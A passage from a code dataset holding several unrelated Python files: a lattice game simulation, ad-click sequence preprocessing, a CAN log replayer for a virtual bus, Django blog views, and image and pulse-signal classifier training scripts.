of\\n Stag-Hunt game with Von \"\r\n \"Neumann Neighbours\\nLattice of size %sx%s & Unconditional\" %(size,size),\r\n fontsize=14,\r\n fontweight='bold')\r\n\r\n ax = fig.add_subplot(111)\r\n\r\n ax.set_xlabel('Cooperation levels')\r\n ax.set_ylabel('Number of runs')\r\n\r\n x = np.array(final_coop)\r\n\r\n ax.hist(x,5)\r\n ax.set_ylim([0,100])\r\n ax.set_xlim([0,1])\r\n\r\n plt.show()\r\n\r\n\r\ndef main(size,payoff):\r\n #initiate lattices\r\n lattice,strategy = make_lattice(size)\r\n show_plot(strategy)\r\n\r\n cooperation_level = [((size*size) - np.sum(strategy))/(size*size)]\r\n\r\n #100 turns\r\n for i in range(100):\r\n update_scores_von_neuman(lattice,strategy,payoff,size)\r\n strategy = update_strat_von_neuman(lattice,strategy,size)\r\n cooperation_level.append(((size*size) - np.sum(strategy))/(size*size))\r\n\r\n if i == 1 or i == 5 or i == 10 or i == 20 or i == 50 or i == 100:\r\n show_plot(strategy)\r\n\r\n return cooperation_level\r\n\r\n\r\nif __name__ == \"__main__\":\r\n size = int(input(\"Size of the Lattice:\"))\r\n #size = str(input(\"Size of the lattice: \"))\r\n payoff = str(input(\"Reward, Sucker's payoff, Temptation to Defect, Punition : \"))\r\n payoff = payoff.strip().split(',')\r\n\r\n for i in range(4):\r\n payoff[i] = int(payoff[i])\r\n \"\"\"size = size.strip().split(',')\r\n for i in range(len(size)):\r\n size[i] = int(size[i])\r\n\r\n for lattice in size:\r\n cooperation_level = []\r\n final_cooperation_level = []\r\n for i in range(100):\r\n current = main(lattice, payoff)\r\n cooperation_level.append(current)\r\n final_cooperation_level.append(current[-1])\r\n print(i)\r\n plot_coop(cooperation_level, lattice)\r\n final_distribution(final_cooperation_level, lattice)\"\"\"\r\n main(size, payoff)","sub_path":"Learning_Dynamics/CharlotteNachtegael/Assignments/PD_Von_neumann.py","file_name":"PD_Von_neumann.py","file_ext":"py","file_size_in_byte":5343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"649955330","text":"import os, pdb, torch\nimport pandas as pd\nimport numpy as np\n\nfrom Configs import _C as cfg\nfrom .click import make_click_with_ad\n\n\ndef make_user_behavior_seq_test(cols = ['creative_id', 'ad_id', 'advertiser_id',]):\n\n save_dir = cfg.features + \"user_behavior_df_test.pkl\"\n if os.path.exists(save_dir):\n print(\"已存在 `{}`, 直接读取返回...\".format(save_dir))\n user_behavior_df_test=pd.read_pickle(save_dir)\n return user_behavior_df_test\n\n print(\"\\n无本地 user_behavior_df_test, 重新生成 `{}`\".format(save_dir))\n click_all = make_click_with_ad()\n click_all.replace('\\\\N', 'nan', inplace=True)\n\n for col in cols:\n decode_list = torch.load(cfg.decode + f\"all_{col}_decode_string.pth\").split(',')\n decode_dict = {v: str(i) for i, v in enumerate(decode_list)}\n\n click_all[col] = click_all[col].astype('str').map(decode_dict)\n print(\"all_{}_decode_list: {}\".format(col, decode_list[:20]))\n print(\"click_all[`{}`]: {}\".format(col, click_all[col][:60]))\n\n click_test = click_all.query(\"type=='test'\").sort_values([\"time\"]).reset_index(drop=True)\n\n click_test['user_id'] = click_test['user_id'].astype('int64')\n\n user_group = click_test.groupby(['user_id'])\n user_behavior_df_test = pd.DataFrame()\n for col in cols:\n df = user_group.agg({col: list})\n user_behavior_df_test[col + \"_200\"] = df[col].map(lambda sentence: ','.join(sentence))\n\n user_behavior_df_test['seq_length'] = user_group[cols[0]].agg('count').values\n\n user_behavior_df_test.reset_index().to_pickle(save_dir)\n\n return user_behavior_df_test\n\n\ndef make_user_behavior_seq(cols = ['creative_id', 'ad_id', 'advertiser_id',]):\n\n save_dir = cfg.features + \"user_behavior_df.pkl\"\n if os.path.exists(save_dir):\n print(\"已存在 `{}`, 直接读取返回...\".format(save_dir))\n user_behavior_df=pd.read_pickle(save_dir)\n return user_behavior_df\n\n print(\"\\n无本地 user_behavior_df, 重新生成 `{}`\".format(save_dir))\n click_all = make_click_with_ad()\n click_all.replace('\\\\N', 'nan', inplace=True)\n\n for col in cols:\n decode_list = torch.load(cfg.decode + f\"all_{col}_decode_string.pth\").split(',')\n decode_dict = {v: str(i) for i, v in enumerate(decode_list)}\n\n click_all[col] = click_all[col].astype('str').map(decode_dict)\n print(\"all_{}_decode_list: {}\".format(col, decode_list[:20]))\n print(\"click_all[{}]: {}\".format(col, click_all[col][:60]))\n if click_all[col].isna().any():\n pdb.set_trace()\n\n click_train = click_all.query(\"type=='train'\").sort_values([\"time\"]).reset_index(drop=True)\n click_test = click_all.query(\"type=='test'\").sort_values([\"time\"]).reset_index(drop=True)\n\n click_train['user_id'] = click_train['user_id'].astype('int64')\n\n user_group = click_train.groupby(['user_id'])\n user_behavior_df = pd.DataFrame()\n for col in cols:\n df = user_group.agg({col: list})\n user_behavior_df[col + \"_200\"] = df[col].map(lambda sentence: ','.join(sentence))\n\n user_behavior_df['seq_length'] = user_group[cols[1]].agg('count').values\n\n user = pd.read_csv(cfg.train_dir+'/user.csv')\n user['user_id'] = user['user_id'].astype('int64')\n user_behavior_df = user_behavior_df.reset_index().merge(user, how=\"left\", on=\"user_id\")\n user_behavior_df.to_pickle(save_dir)\n\n return user_behavior_df\n\n\ndef clip_fn(sentence):\n length = len(sentence)\n if length >= 200:\n sentence = sentence[-200:]\n else:\n sentence += [0] * (200 - length)\n return ','.join(sentence)\n\n\ndef seq2lengths(seq):\n length = (np.array(seq) != 0).sum()\n return length\n\n\ndef seq2string_with_length(seq):\n length = len(seq)\n seq_string = \",\".join(str(w) for w in seq)\n return f\"{seq_string}_{length}\"\n\n\n\n\"\"\" \ncreative_id, 3412772 | 931637\nad_id, 3027360 | 763170\nuser_id, 1900000\nclick_times, 94 | 53\nproduct_id, 39057 | 5784\nproduct_category, 18 | None\nadvertiser_id, 57870\nindustry, 332 | {8, 89, 93, 151, 195, 196}\ncategory 1-18, 无需编码\n\"\"\"\n","sub_path":"src/processing/sequence.py","file_name":"sequence.py","file_ext":"py","file_size_in_byte":4080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"218617247","text":"import string\nst = input(\"Please enter the string: \")\nx = list(string.ascii_letters)\ny = list(string.digits)\nlet, dig = 0, 0\nfor i in st:\n if i in x:\n let+=1\n elif i in y:\n dig+=1\n\nprint(let,dig)\n \n\n","sub_path":"programsstring.py","file_name":"programsstring.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"34560910","text":"from functools import partial\nfrom itertools import islice\nimport datetime\nimport bitstring\nimport struct\nimport time\nfrom time import sleep\n\nimport socket\n\nfrom can import Message\n\n\ndef chunks(l, n):\n \"\"\"Yield successive n-sized chunks from l.\"\"\"\n for i in range(0, len(l), n):\n yield l[i:i + n]\n\n\ndef decode(msg: bytes):\n '''\n\n :param msg 16 bytes:\n :return: service_info, timeoffest, messaege_id, data =\n '''\n\n service, msg = msg[:2], msg[2:]\n time_of_record_in_miliseconds, msg = int.from_bytes(msg[:2], byteorder=\"little\", signed=False), msg[2:]\n message_id, message = msg[:4], msg[4:]\n bs = bitstring.BitArray(service)\n bs.reverse()\n time_of_record_in_miutes = bs[:10]\n minutes = int(time_of_record_in_miutes.bin, 2)\n\n return bs.bin, int(bs[10]), bs[14], bs[15], int(bs[11:14].bin, 2), str(\n datetime.timedelta(minutes=minutes, milliseconds=time_of_record_in_miliseconds))[:-3], bitstring.BitArray(\n message_id).bin, message.hex()\n\n\ndef decode2(msg: bytes):\n\n\n\n service, msg = msg[:2], msg[2:]\n time_of_record_in_miliseconds, msg = int.from_bytes(msg[:2], byteorder=\"little\", signed=False), msg[2:]\n message_id, message = msg[:4], msg[4:]\n\n\n\n ms = bitstring.BitArray(message_id[::-1])\n ms_reversed = bitstring.BitArray(message_id)\n\n\n service = bitstring.BitArray(service[::-1])[::-1]\n\n is_service = service[14]\n is_29 = service[15]\n data_len = int(service[11:14].bin,2)+1\n time_in_minutes = int(service[0:10].bin, 2)\n\n\n return is_service, time_in_minutes, time_of_record_in_miliseconds, ms.hex, str(message.hex())[:data_len*2]\n\nimport can\n\nbustype = 'socketcan'\nchannel = 'vcan0'\nbus = can.interface.Bus(channel=channel, bustype=bustype)\n\ndef send_data():\n with open(\"output.CAN\", \"rb\") as canfile:\n messages = iter(partial(canfile.read, 16), b'')\n ids = set()\n # print(header.hex(), decode2(header))\n time = 1\n prev_time_in_ms = 0\n\n\n for chunk in islice(messages, 99999999999999999):\n is_service, time_in_minutes, time_in_milliseconds, message_id, message = decode2(chunk)\n dt = time_in_milliseconds - prev_time_in_ms\n # time.sleep(new_time - dt)\n if(dt)<0: dt =1\n time+= dt\n\n delta = datetime.timedelta(milliseconds = time)\n\n\n prev_time_in_ms = time_in_milliseconds\n\n \n date =str(delta)[:-3]\n\n if len(date)< 8:\n continue\n\n\n result = \"%s %s %s %s\\r\\n\" %( date, \"N\" if is_service else \"R\", message_id, \" \".join(chunks(message,2)))\n msg = Message(arbitration_id=int(message_id,16), data=list(map(lambda x: int(x, 16), chunks(message,2))), extended_id=True)\n bus.send(msg)\n print(msg)\n sleep(dt/1000)\n \n\n\n\nif __name__ == \"__main__\":\n send_data()\n\n\n","sub_path":"can2vcan.py","file_name":"can2vcan.py","file_ext":"py","file_size_in_byte":2886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"53106801","text":"from django.shortcuts import render, get_object_or_404\nfrom django.db.models import Count\n\nfrom .models import Blog, BlogType, Tag\n\ndef index(request):\n '''首页'''\n blogs = Blog.objects.all()[:10]\n hot_blogs = Blog.objects.all().order_by('-read_nums')[:5]\n blog_types = BlogType.objects.all()\n tags = Tag.objects.all()\n\n context = {}\n context['blogs'] = blogs\n context['hot_blogs'] = hot_blogs\n context['blog_types'] = blog_types\n context['tags'] = tags\n return render(request, 'blog/index.html', context)\n\ndef blog_list(request):\n '''博客列表'''\n blogs = Blog.objects.all()\n\n # annotate聚合, 逐个计算queryset中每个对象的blog数量, 并给每个对象添加blog_count属性\n blog_types = BlogType.objects.all().annotate(blog_nums=Count('blog'))\n\n tags = Tag.objects.all()\n\n # 获取所有博客的月份的datetime.date对象集合\n blog_dates = Blog.objects.dates('publish_time', 'month', order='DESC')\n # 统计对应月份blog数量\n blog_dates_dict = {}\n for blog_date in blog_dates:\n blog_nums = Blog.objects.filter(publish_time__year=blog_date.year, \\\n publish_time__month=blog_date.month).count()\n blog_dates_dict[blog_date] = blog_nums\n\n context = {}\n context['blogs'] = blogs\n context['blog_types'] = blog_types\n context['tags'] = tags\n context['blog_dates'] = blog_dates_dict\n return render(request, 'blog/blog_list.html', context)\n\ndef blog_detail(request, blog_id):\n '''博客详情'''\n blog = get_object_or_404(Blog, pk=blog_id)\n blog.read_nums = blog.read_nums + 1\n blog.save()\n # 上一篇博客\n previous_blog = Blog.objects.filter(publish_time__gt=blog.publish_time).order_by('publish_time').first()\n # 下一篇博客\n next_blog = Blog.objects.filter(publish_time__lt=blog.publish_time).order_by('-publish_time').first()\n\n context = {}\n context['blog'] = blog\n context['previous_blog'] = previous_blog\n context['next_blog'] = next_blog\n return render(request, 'blog/blog_detail.html', context)\n\n\ndef blog_type(request, blog_type_id):\n pass\n\n\ndef blog_date(request, year, month):\n pass","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"342956346","text":"from torchvision import datasets, models, transforms\nimport torch.utils.data as data\nfrom torch.utils.tensorboard import SummaryWriter\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nimport torch.nn as nn\nimport torch, os\n# for reproducing\ntorch.manual_seed(66)\ntorch.backends.cudnn.benchmark = False\ntorch.backends.cudnn.deterministic = True\n\nimport time, copy\nimport multiprocessing\nfrom torchsummary import summary\nimport pretrainedmodels # for inception-v4 and xception\nfrom efficientnet_pytorch import EfficientNet\nimport csv\nimport argparse\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Train CottonWeed Classifier')\n # Load a pretrained model - resnet18, resnet50, resnet101, alexnet, squeezenet, vgg11, vgg16, vgg19,\n # densenet121, densenet169, densenet161, inception, inceptionv4, googlenet, xception, mobilenet_v2,\n # mobilenet_v3_small, mobilenet_v3_large, inceptionresnetv2, dpn68, mnasnet1_0, efficientnet-b0\n # efficientnet-b1, efficientnet-b2, efficientnet-b3, efficientnet-b4, efficientnet-b5\n parser.add_argument('--model_name', type=str, required=False, default='alexnet',\n help=\"choose a deep learning model\")\n parser.add_argument('--train_mode', type=str, required=False, default='finetune',\n help=\"Set training mode: finetune, transfer, scratch\")\n parser.add_argument('--num_classes', type=int, required=False, default=15, help=\"Number of Classes\")\n parser.add_argument('--epochs', type=int, required=False, default=50, help=\"Training Epochs\")\n parser.add_argument('--batch_size', type=int, required=False, default=12, help=\"Training batch size\")\n parser.add_argument('--img_size', type=int, required=False, default=512, help=\"Image Size\")\n args = parser.parse_args()\n return args\n\n\nargs = parse_args()\nnum_classes = args.num_classes\nmodel_name = args.model_name\ntrain_mode = args.train_mode\nnum_epochs = args.epochs\nbs = args.batch_size\nimg_size = args.img_size\n# Set the train and validation directory paths\ntrain_directory = '/home/dong9/Downloads/DATA_0820/CottonWeedDataset/train'\nvalid_directory = '/home/dong9/Downloads/DATA_0820/CottonWeedDataset/val'\n\nif not os.path.isfile('train_performance.csv'):\n with open('train_performance.csv', mode='w') as csv_file:\n fieldnames = ['Model', 'Training Time', 'Trainable Parameters', 'Best Train Acc', 'Best Train Epoch',\n 'Best Val Acc', 'Best Val Epoch']\n writer = csv.DictWriter(csv_file, fieldnames=fieldnames)\n writer.writeheader()\n\n# Set the model save path\nPATH = model_name + \".pth\"\n# Number of workers\nnum_cpu = multiprocessing.cpu_count()\n\n# Applying transforms to the data\nimage_transforms = {\n 'train': transforms.Compose([\n transforms.RandomResizedCrop(size=img_size),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225])\n ]),\n 'valid': transforms.Compose([\n transforms.Resize(size=img_size),\n transforms.CenterCrop(size=img_size),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406],\n [0.229, 0.224, 0.225])\n ])\n}\n\n# Load data from folders\ndataset = {\n 'train': datasets.ImageFolder(root=train_directory, transform=image_transforms['train']),\n 'valid': datasets.ImageFolder(root=valid_directory, transform=image_transforms['valid'])\n}\n\n# Size of train and validation data\ndataset_sizes = {\n 'train': len(dataset['train']),\n 'valid': len(dataset['valid'])\n}\n\n# Create iterators for data loading\ndataloaders = {\n 'train': data.DataLoader(dataset['train'], batch_size=bs, shuffle=True,\n num_workers=num_cpu, pin_memory=True, drop_last=True),\n 'valid': data.DataLoader(dataset['valid'], batch_size=bs, shuffle=True,\n num_workers=num_cpu, pin_memory=True, drop_last=True)}\n\n# Class names or target labels\nclass_names = dataset['train'].classes\nprint(\"Classes:\", class_names)\n\n# Print the train and validation data sizes\nprint(\"Training-set size:\", dataset_sizes['train'],\n \"\\nValidation-set size:\", dataset_sizes['valid'])\n\nprint(\"\\nLoading pretrained-model for finetuning ...\\n\")\nmodel_ft = None\n\nif model_name == 'resnet18':\n # Modify fc layers to match num_classes\n model_ft = models.resnet18(pretrained=True)\n num_ftrs = model_ft.fc.in_features\n model_ft.fc = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'resnet50':\n # Modify fc layers to match num_classes\n model_ft = models.resnet50(pretrained=True)\n num_ftrs = model_ft.fc.in_features\n model_ft.fc = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'resnet101':\n # Modify fc layers to match num_classes\n model_ft = models.resnet101(pretrained=True)\n num_ftrs = model_ft.fc.in_features\n model_ft.fc = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'alexnet':\n model_ft = models.alexnet(pretrained=True)\n model_ft.classifier[6] = nn.Linear(4096, num_classes)\nelif model_name == 'vgg11':\n model_ft = models.vgg11(pretrained=True)\n model_ft.classifier[6] = nn.Linear(4096, num_classes)\nelif model_name == 'vgg16':\n model_ft = models.vgg16(pretrained=True)\n model_ft.classifier[6] = nn.Linear(4096, num_classes)\nelif model_name == 'vgg19':\n model_ft = models.vgg19(pretrained=True)\n model_ft.classifier[6] = nn.Linear(4096, num_classes)\nelif model_name == 'squeezenet':\n model_ft = models.squeezenet1_0(pretrained=True)\n model_ft.classifier[1] = nn.Conv2d(512, num_classes, kernel_size=(1, 1), stride=(1, 1))\nelif model_name == 'densenet121':\n model_ft = models.densenet121(pretrained=True)\n num_ftrs = model_ft.classifier.in_features\n model_ft.classifier = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'densenet169':\n model_ft = models.densenet169(pretrained=True)\n num_ftrs = model_ft.classifier.in_features\n model_ft.classifier = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'densenet161':\n model_ft = models.densenet161(pretrained=True)\n num_ftrs = model_ft.classifier.in_features\n model_ft.classifier = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'inception':\n model_ft = models.inception_v3(pretrained=True)\n model_ft.aux_logits = False\n # Handle the auxilary net\n num_ftrs = model_ft.AuxLogits.fc.in_features\n model_ft.AuxLogits.fc = nn.Linear(num_ftrs, num_classes)\n # Handle the primary net\n num_ftrs = model_ft.fc.in_features\n model_ft.fc = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'inceptionv4':\n model_ft = pretrainedmodels.inceptionv4(pretrained='imagenet')\n num_ftrs = model_ft.last_linear.in_features\n model_ft.last_linear = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'googlenet':\n model_ft = models.googlenet(pretrained=True)\n num_ftrs = model_ft.fc.in_features\n model_ft.fc = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'xception':\n model_ft = pretrainedmodels.xception(pretrained='imagenet')\n num_ftrs = model_ft.last_linear.in_features\n model_ft.last_linear = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'mobilenet_v2':\n model_ft = models.mobilenet_v2(pretrained=True)\n model_ft.classifier[1] = nn.Linear(model_ft.last_channel, num_classes)\nelif model_name == 'mobilenet_v3_small':\n model_ft = models.mobilenet_v3_small(pretrained=True)\n model_ft.classifier[3] = nn.Linear(model_ft.classifier[3].in_features, num_classes)\nelif model_name == 'mobilenet_v3_large':\n model_ft = models.mobilenet_v3_large(pretrained=True)\n model_ft.classifier[3] = nn.Linear(model_ft.classifier[3].in_features, num_classes)\nelif model_name == 'shufflenet_v2_x0_5':\n model_ft = models.shufflenet_v2_x0_5(pretrained=True)\n num_ftrs = model_ft.fc.in_features\n model_ft.fc = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'shufflenet_v2_x1_0':\n model_ft = models.shufflenet_v2_x1_0(pretrained=True)\n num_ftrs = model_ft.fc.in_features\n model_ft.fc = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'inceptionresnetv2':\n model_ft = pretrainedmodels.inceptionresnetv2(pretrained='imagenet')\n num_ftrs = model_ft.last_linear.in_features\n model_ft.last_linear = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'nasnetamobile':\n model_ft = pretrainedmodels.nasnetamobile(num_classes=1000, pretrained='imagenet')\n num_ftrs = model_ft.last_linear.in_features\n model_ft.last_linear = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'dpn68':\n model_ft = pretrainedmodels.dpn68(pretrained='imagenet')\n model_ft.last_linear = nn.Conv2d(832, num_classes, kernel_size=(1, 1), stride=(1, 1))\nelif model_name == 'polynet':\n model_ft = pretrainedmodels.polynet(num_classes=1000, pretrained='imagenet')\n num_ftrs = model_ft.last_linear.in_features\n model_ft.last_linear = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'mnasnet1_0':\n model_ft = models.mnasnet1_0(pretrained=True)\n num_ftrs = model_ft.classifier[1].in_features\n model_ft.classifier[1] = nn.Linear(num_ftrs, num_classes)\nelif model_name == 'efficientnet-b0':\n model_ft = EfficientNet.from_pretrained('efficientnet-b0', num_classes=num_classes)\nelif model_name == 'efficientnet-b1':\n model_ft = EfficientNet.from_pretrained('efficientnet-b1', num_classes=num_classes)\nelif model_name == 'efficientnet-b2':\n model_ft = EfficientNet.from_pretrained('efficientnet-b2', num_classes=num_classes)\nelif model_name == 'efficientnet-b3':\n model_ft = EfficientNet.from_pretrained('efficientnet-b3', num_classes=num_classes)\nelif model_name == 'efficientnet-b4':\n model_ft = EfficientNet.from_pretrained('efficientnet-b4', num_classes=num_classes)\nelif model_name == 'efficientnet-b5':\n model_ft = EfficientNet.from_pretrained('efficientnet-b5', num_classes=num_classes)\nelif model_name == 'efficientnet-b6':\n model_ft = EfficientNet.from_pretrained('efficientnet-b6', num_classes=num_classes)\nelse:\n print(\"Invalid model name, exiting...\")\n exit()\n\n# Transfer the model to GPU\n# Set default device as gpu, if available\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n# model_ft = nn.DataParallel(model_ft)\nmodel_ft = model_ft.to(device)\n\n# Print model summary\nprint('Model Summary:-\\n')\nfor num, (name, param) in enumerate(model_ft.named_parameters()):\n print(num, name, param.requires_grad)\nif model_name == 'inception':\n summary(model_ft, input_size=(3, 299, 299))\nelif model_name == 'densenet121' or 'densenet161':\n pass\nelse:\n summary(model_ft, input_size=(3, img_size, img_size))\nprint(model_ft)\n\npytorch_total_params = sum(p.numel() for p in model_ft.parameters() if p.requires_grad)\n# print(\"Total parameters:\", pytorch_total_params)\n# Loss function\ncriterion = nn.CrossEntropyLoss()\n\n# Optimizer \noptimizer_ft = optim.SGD(model_ft.parameters(), lr=0.001, momentum=0.9)\n\n# Learning rate decay\nexp_lr_scheduler = lr_scheduler.StepLR(optimizer_ft, step_size=7, gamma=0.1)\n\n# Model training routine \nprint(\"\\nTraining:-\\n\")\n\n\ndef train_model(model, criterion, optimizer, scheduler, num_epochs=30):\n since = time.time()\n\n best_model_wts = copy.deepcopy(model.state_dict())\n best_train_acc = 0.0\n best_train_epoch = 0\n best_val_epoch = 0\n best_val_acc = 0.0\n\n # Tensorboard summary\n writer = SummaryWriter(log_dir=('./runs/' + model_name))\n\n for epoch in range(num_epochs):\n print('Epoch {}/{}'.format(epoch, num_epochs - 1))\n print('-' * 10)\n\n # Each epoch has a training and validation phase\n for phase in ['train', 'valid']:\n if phase == 'train':\n model.train() # Set model to training mode\n else:\n model.eval() # Set model to evaluate mode\n\n running_loss = 0.0\n running_corrects = 0\n\n # Iterate over data.\n for inputs, labels in dataloaders[phase]:\n inputs = inputs.to(device, non_blocking=True)\n labels = labels.to(device, non_blocking=True)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward\n # track history if only in train\n with torch.set_grad_enabled(phase == 'train'):\n outputs = model(inputs)\n _, preds = torch.max(outputs, 1)\n loss = criterion(outputs, labels)\n\n # backward + optimize only if in training phase\n if phase == 'train':\n loss.backward()\n optimizer.step()\n\n # statistics\n running_loss += loss.item() * inputs.size(0)\n running_corrects += torch.sum(preds == labels.data)\n if phase == 'train':\n scheduler.step()\n\n epoch_loss = running_loss / dataset_sizes[phase]\n epoch_acc = running_corrects.double() / dataset_sizes[phase]\n\n print('{} Loss: {:.4f} Acc: {:.4f}'.format(\n phase, epoch_loss, epoch_acc))\n\n # Record training loss and accuracy for each phase\n if phase == 'train':\n writer.add_scalar('Train/Loss', epoch_loss, epoch)\n writer.add_scalar('Train/Accuracy', epoch_acc, epoch)\n writer.flush()\n if epoch_acc > best_train_acc:\n best_train_acc = epoch_acc\n best_train_epoch = epoch\n else:\n writer.add_scalar('Valid/Loss', epoch_loss, epoch)\n writer.add_scalar('Valid/Accuracy', epoch_acc, epoch)\n writer.flush()\n\n # deep copy the model\n if phase == 'valid' and epoch_acc > best_val_acc:\n best_val_acc = epoch_acc\n best_model_wts = copy.deepcopy(model.state_dict())\n best_val_epoch = epoch\n print()\n\n time_elapsed = time.time() - since\n\n with open('train_performance.csv', 'a+', newline='') as write_obj:\n csv_writer = csv.writer(write_obj)\n csv_writer.writerow([model_name, '{:.0f}m {:.0f}s'.format(\n time_elapsed // 60, time_elapsed % 60), pytorch_total_params, '{:4f}'.format(best_train_acc.cpu().numpy()),\n best_train_epoch, '{:4f}'.format(best_val_acc.cpu().numpy()), best_val_epoch])\n\n # load best model weights\n model.load_state_dict(best_model_wts)\n return model\n\n\n# Train the model\nmodel_ft = train_model(model_ft, criterion, optimizer_ft, exp_lr_scheduler,\n num_epochs=num_epochs)\n# Save the entire model\nprint(\"\\nSaving the model...\")\ntorch.save(model_ft, PATH)\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":14786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"112771977","text":"import numpy as np\r\nimport tensorflow as tf\r\nimport random\r\nimport Parameters\r\nimport Net\r\nfrom Data import CreateDataWithLabel1, Accuracy\r\n\r\nresult = []\r\nfor num in range(100):\r\n # Import Data\r\n pulset = np.load(\"gpulse.npy\")\r\n labelt = np.load(\"glabel.npy\")\r\n\r\n n_total = labelt.shape[0]\r\n print(\"数据集中共有%d人\" % (n_total))\r\n r = 0\r\n while 1:\r\n idx = list(range(n_total))\r\n random.shuffle(idx)\r\n\r\n pulse_train_people = pulset[idx[0:Parameters.n_examples]]\r\n pulse_test_people = pulset[idx[Parameters.n_examples:n_total]]\r\n label_train_people = labelt[idx[0:Parameters.n_examples]]\r\n label_test_people = labelt[idx[Parameters.n_examples:n_total]]\r\n p_train = 0\r\n n_train = 0\r\n p_test = 0\r\n n_test = 0\r\n\r\n for i in range(label_train_people.shape[0]):\r\n if label_train_people[i] == 0:\r\n n_train += 1\r\n else:\r\n p_train += 1\r\n print(\"训练集中\")\r\n print(\"怀孕%d人\" % (p_train))\r\n print(\"未怀孕%d人\" % (n_train))\r\n\r\n for i in range(label_test_people.shape[0]):\r\n if label_test_people[i] == 0:\r\n n_test += 1\r\n else:\r\n p_test += 1\r\n print(\"测试集中\")\r\n print(\"怀孕%d人\" % (p_test))\r\n print(\"未怀孕%d人\" % (n_test))\r\n r = p_test / (p_test + n_test)\r\n print(\"怀孕人数占比%.2f\" % (r))\r\n if r > 0.6 or r < 0.4:\r\n print(\"测试集中怀孕人数比例过高或过低，重新分组\")\r\n else:\r\n break\r\n\r\n pulse_train, label_train = CreateDataWithLabel1(\r\n pulse_train_people, label_train_people)\r\n pulse_test, label_test = CreateDataWithLabel1(\r\n pulse_test_people, label_test_people)\r\n\r\n for i in range(pulse_train.shape[0]):\r\n pmax = max(pulse_train[i])\r\n pmin = min(pulse_train[i])\r\n pulse_train[i] = (2 * pulse_train[i] - pmin - pmax) / (pmax - pmin)\r\n\r\n for i in range(pulse_test.shape[0]):\r\n pmax = max(pulse_test[i])\r\n pmin = min(pulse_test[i])\r\n pulse_test[i] = (2 * pulse_test[i] - pmin - pmax) / (pmax - pmin)\r\n\r\n print(\"数据处理完成\")\r\n\r\n # Tensorflow\r\n x = tf.placeholder('float', [None, Parameters.input_size])\r\n y = tf.placeholder('float', [None, Parameters.output_size])\r\n\r\n keep_probs = tf.placeholder('float', [None])\r\n pred = Net.ResNet(x)\r\n\r\n loss = -tf.reduce_mean(y * tf.log(pred))\r\n\r\n #loss = tf.reduce_mean(tf.square(pred-y))\r\n '''\r\n n_pregnancy = 0\r\n n_npregnancy = 0\r\n for i in range(labelt.size):\r\n if labelt[i] > Parameters.PWeek:\r\n label.append([1,0])\r\n pulse.append(pulset[i][period[i][0]:(period[i][0]+Parameters.input_size)])\r\n n_pregnancy += 1\r\n elif labelt[i] == 0:\r\n label.append([0,1])\r\n pulse.append(pulset[i][period[i][0]:(period[i][0]+Parameters.input_size)])\r\n n_npregnancy += 1\r\n print(n_pregnancy, n_npregnancy)\r\n '''\r\n global_step = tf.Variable(0)\r\n learning_rate = tf.train.exponential_decay(\r\n 0.05, global_step, 1000, 0.96, staircase=True)\r\n optm = tf.train.GradientDescentOptimizer(\r\n learning_rate).minimize(loss, global_step=global_step,)\r\n\r\n correct_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(pred, 1))\r\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\r\n\r\n init_op = tf.global_variables_initializer()\r\n savedir = \"tmp/\"\r\n saver = tf.train.Saver(max_to_keep=5)\r\n with tf.Session() as sess:\r\n sess.run(init_op)\r\n coord = tf.train.Coordinator()\r\n threads = tf.train.start_queue_runners(coord=coord)\r\n pulse_train = np.array(pulse_train)\r\n label_train = np.array(label_train)\r\n pulse_train = pulse_train.astype('float')\r\n\r\n n_train = pulse_train.shape[0]\r\n print(n_train)\r\n num_batch = int(n_train / Parameters.Batch_size)\r\n idx_ = list(range(n_train))\r\n TT = []\r\n TRAIN_ACC = []\r\n TEST_ACC = []\r\n for epoch in range(Parameters.Epoch):\r\n total_cost = 0\r\n random.shuffle(idx_)\r\n for i in range(num_batch):\r\n pulse_in = pulse_train[idx_[\r\n i * Parameters.Batch_size:(i + 1) * Parameters.Batch_size], :]\r\n label_in = label_train[idx_[\r\n i * Parameters.Batch_size:(i + 1) * Parameters.Batch_size], :]\r\n feeds = {x: pulse_in, y: label_in}\r\n sess.run(optm, feed_dict=feeds)\r\n total_cost += sess.run(loss, feed_dict=feeds)\r\n\r\n pred_train = sess.run(pred, feed_dict={x: pulse_train})\r\n\r\n TRAIN_ACC.append(sess.run(accuracy, feed_dict={\r\n x: pulse_train, y: label_train}))\r\n TT.append(total_cost)\r\n\r\n m_pred = sess.run(pred, feed_dict={x: pulse_test})\r\n acc = 